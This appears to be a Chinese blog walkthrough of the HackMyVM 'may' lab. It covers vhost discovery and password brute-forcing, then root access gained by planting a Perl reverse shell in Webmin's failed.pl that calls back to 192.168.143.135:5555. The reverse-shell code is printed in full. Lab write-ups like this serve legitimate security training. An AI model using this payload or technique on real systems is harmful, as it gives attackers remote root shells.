当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集
访问80,会跳转到域名may.hmv
访问,这里需添加hosts访问。
得到了一个用户明marie
。
爆破目录未果,于是爆破vhost。
找到两个vhost,portal
和ssh
。添加hosts后访问portal.may.hmv
。这个一个登录页面,会验证用户名和密码,尝试注入失败后,利用前面得到的用户名尝试爆破密码。
得到密码rebelde
并成功获取到了cookie,将这个cookie注入到http://ssh.may.hmv/check.php
的请求中去,成功获取marie
用户的私钥。
获取user flag
将私钥保存,并设置为只可当前用户读写,ssh登录marie
。
获取root flag
查看root
用户进程,发现了如下进程。
查看miniserv.conf文件权限,发现marie
可以直接编辑,于是在home
目录下创建一个failed.pl
替换掉默认的。
在failed.pl
中加入了反弹shell代码。
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot)。重启后随便webmin登录一个错误账号就可以反弹root。
边栏推荐
- What are the PHP framework?
- 12. What is JS
- DVWA drone installation tutorial
- Using PHPMailer send mail
- 14. JS Statements and Comments, Variables and Data Types
- Thread Pool (Introduction and Use of Thread Pool)
- ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
- 2. PHP variables, output, EOF, conditional statements
- SQL:DDL、DML、DQL、DCL相应介绍以及演示
- PHP8.2 version release administrator and release plan
猜你喜欢
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
攻防世界—MISC 新手区1-12
解决5+APP真机测试无法访问后台(同局域网)
Pycharm打包项目为exe文件
PHP8.2的版本发布管理员和发布计划
Stable and easy-to-use short connection generation platform, supporting API batch generation
正则笔记(2)- 正则表达式位置匹配攻略
TypeScript 错误 error TS2469、error TS2731 解决办法
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
Phpstudy安装Thinkphp6(问题+解决)
随机推荐
(5) 模块与包、编码格式、文件操作、目录操作
TypeScript 错误 error TS2469、error TS2731 解决办法
TCP通信程序
js 正则中 replace() 使用
14. JS Statements and Comments, Variables and Data Types
js 之 Object.defineProperty()
(2)Thinkphp6模板引擎**标签
百度定位js API
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
[symfony/finder] The best file manipulation library
1.初识PHP
js 原型和原型链
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
Query the indexes of all tables in the database and parse them into sql
TCP communications program
项目中遇到的问题
PHP8.2 version release administrator and release plan
Solve the problem of uni - app packaged H5 website to download image
PHP实现搜索框的自动反查提示
easyswoole 使用redis执行geoRadiusByMember Count无效修复